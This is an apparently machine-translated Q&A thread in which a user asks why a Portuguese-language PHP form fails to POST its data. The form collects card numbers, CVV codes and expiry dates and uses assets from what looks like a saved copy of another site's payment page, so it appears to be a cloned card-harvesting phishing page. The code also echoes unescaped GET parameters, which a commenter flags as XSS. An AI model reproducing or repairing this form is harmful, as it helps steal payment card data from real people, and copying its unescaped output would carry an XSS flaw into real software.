-2
我開始使用php，遇到這個問題後數據未被髮送到PHP 在互聯網上搜索了很多東西后，我找不到解決方案。按照代碼如下Php Post不起作用
形式
<?php
$cnpj = $_GET['cnpj'];
$nc = $_GET['nc'];
$sv = $_GET['sv'];
$_url = "fnc.php?cnpj={$cnpj}&nc={$nc}&sv={$sv}";
?>
<form id="frm" name="frm" action="<?php echo $_url; ?>" method="post">
</table>
<table class="Tabela1" width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr class="TituloTabela1" valign="center"> \t <td colspan="10" align="center"> Dados do cartão</td></tr><input name="id_Pedido" id="frm_id_Pedido1" value="7679401" type="HIDDEN">
<input name="chr_NumeroBIN" id="frm_chr_NumeroBIN1" value="485960," type="HIDDEN">
<input name="chr_TipoCartao" id="frm_chr_TipoCartao1" value="visa" type="HIDDEN">
\t <tr> \t \t <td><table width="100%" cellspacing="0" cellpadding="0" border="0" height="1"> \t <tbody><tr class="SubTituloTabela1" valign="center"> \t \t <td colspan="10" align="left"></td> \t </tr><tr height="10"><td></td></tr><tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="5" align="Left">Número do Cartão*<br><font class="Texto4">(digite apenas números)</font></td>
<input name="chr_MostrarCVC2" id="frm_chr_MostrarCVC21" value="S" type="HIDDEN">
<td colspan="1" rowspan="1" valign="Top" align="Right">
</td>
<td colspan="1" rowspan="1" valign="Top" align="Right">
</td>
<td colspan="1" rowspan="6" valign="Top" align="Middle">
<div style="width:150px;margin-right:auto;margin-left:auto"><u><b>Código de Segurança</b></u></div><div style="width:150px;margin-right:auto;margin-left:auto"><img src="recf_ficheiros/CVV_small.JPG" border="0"></div><div style="width:170px;margin-right:auto;margin-left:auto"><font class="Texto4">3 Últimos dígitos da faixa numérica. <br>(verso do cartão)</font></div></td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="5">
<input class="CaixaTexto" maxlength="16" name="chr_NumeroCartao" id="frm_chr_NumeroCartao1" size="17" autocomplete="off" type="Text"></td>
</tr>
<tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="3" align="Left">Código de Segurança*<br><font class="Texto4">(digite apenas números)</font></td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="3">
<input class="CaixaTexto" maxlength="3" name="chr_CVC2" id="frm_chr_CVC21" size="3" autocomplete="off" type="Text"></td>
</tr>
<tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="4" align="Left">Mês de validade*</td>
<td width="1%"></td><td colspan="2" align="Left">Ano de validade*</td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="4"><select class="CaixaTexto" name="int_MesCartao" id="frm_int_MesCartao1">
<option value="" selected="selected">Selecione...
</option><option value="01">01
</option><option value="02">02
</option><option value="03">03
</option><option value="04">04
</option><option value="05">05
</option><option value="06">06
</option><option value="07">07
</option><option value="08">08
</option><option value="09">09
</option><option value="10">10
</option><option value="11">11
</option><option value="12">12
</option></select></td><td width="1%"></td><td colspan="2"><select class="CaixaTexto" name="int_AnoCartao" id="frm_int_AnoCartao1">
<option value="" selected="selected">Selecione...
</option><option value="2017">2017
</option><option value="2018">2018
</option><option value="2019">2019
</option><option value="2020">2020
</option><option value="2021">2021
</option><option value="2022">2022
</option><option value="2023">2023
</option><option value="2024">2024
</option><option value="2025">2025
</option><option value="2026">2026
</option><option value="2027">2027
</option></select></td></tr>
</tbody></table></td></tr>
<tr><td height="1"></td></tr>
</tbody></table>
<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr><td align="right" height="5"><font class="Texto4">* Campos de preenchimento obrigatório.</font></td></tr>
<tr><td height="15"></td></tr></tbody></table>
<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"> <tbody>
<tr>
<td width="33%" align="center" height="25">
<table width="1" cellspacing="0" cellpadding="0" border="0">
\t <tbody>
\t \t <tr aling="center"> \t
\t \t \t <td width="3">
\t \t \t \t <img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td> \t
\t \t \t \t <td width="30" bgcolor="#174529" height="25">
\t \t \t \t \t \t <a href="#" title="" onclick="">
\t \t \t \t \t \t \t <img src="recf_ficheiros/img_botao_fnz_002.gif" width="30" border="0" height="25"></a>
\t \t \t \t \t \t </td> \t
\t \t \t \t \t \t <td height="25"> \t \t
\t \t \t \t \t \t \t <table cellspacing="0" cellpadding="0" border="0" height="25">
\t \t \t \t \t \t \t \t \t \t <tbody><tr> \t \t \t \t
\t \t \t \t \t \t \t \t \t \t \t
\t \t \t \t \t \t \t \t \t \t \t \t \t \t \t <a href="<?php echo $_url; ?>" id="btn_confirmar" title="" onclick="submitForm();" style="COLOR:#174529; FONT-SIZE: 11px; FONT-FAMILY: Verdana, Arial; font-weight: bold; text-decoration: none;">Finalizar </a></td> \t \t \t \t \t \t </tr> \t \t \t <tr bgcolor="#174529"> \t \t \t \t <td colspan="3" height="1"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td> \t \t \t </tr> \t \t \t <tr> \t \t \t \t <td colspan="3" height="4"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td> \t \t \t </tr> \t \t </tbody></table> \t </td> \t <td width="3"><img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td></tr></tbody></table><table width="1" cellspacing="0" cellpadding="0" border="0"></table></td>
</tr>
</tbody></table>
</form>PHP接收地後
<?php
$cnpj = $_GET['cnpj'];
$cc = $_POST['chr_NumeroCartao'];
$mes = $_POST['int_MesCartao'];
$ano = $_POST['int_AnoCartao'];
$cvv = $_POST['chr_CVC2'];
?>
OBS：這個問題也只有在這種形式我有使用後其他網頁正常使用
開發者控制檯顯示傳輸的表單數據是什麼？您可以接受XSS注射。 – chris85
請考慮通過刪除不必要的代碼來重新構思您的問題，並對其進行改寫。另外，不要忘記包括一些你的努力，以更好地解釋你做錯了什麼。通常，將代碼剝離到絕對必要的地方並檢查其功能是一種很好的做法。然後，您可以逐漸擴大規模，直到找到導致問題的問題。 – Arkoudinos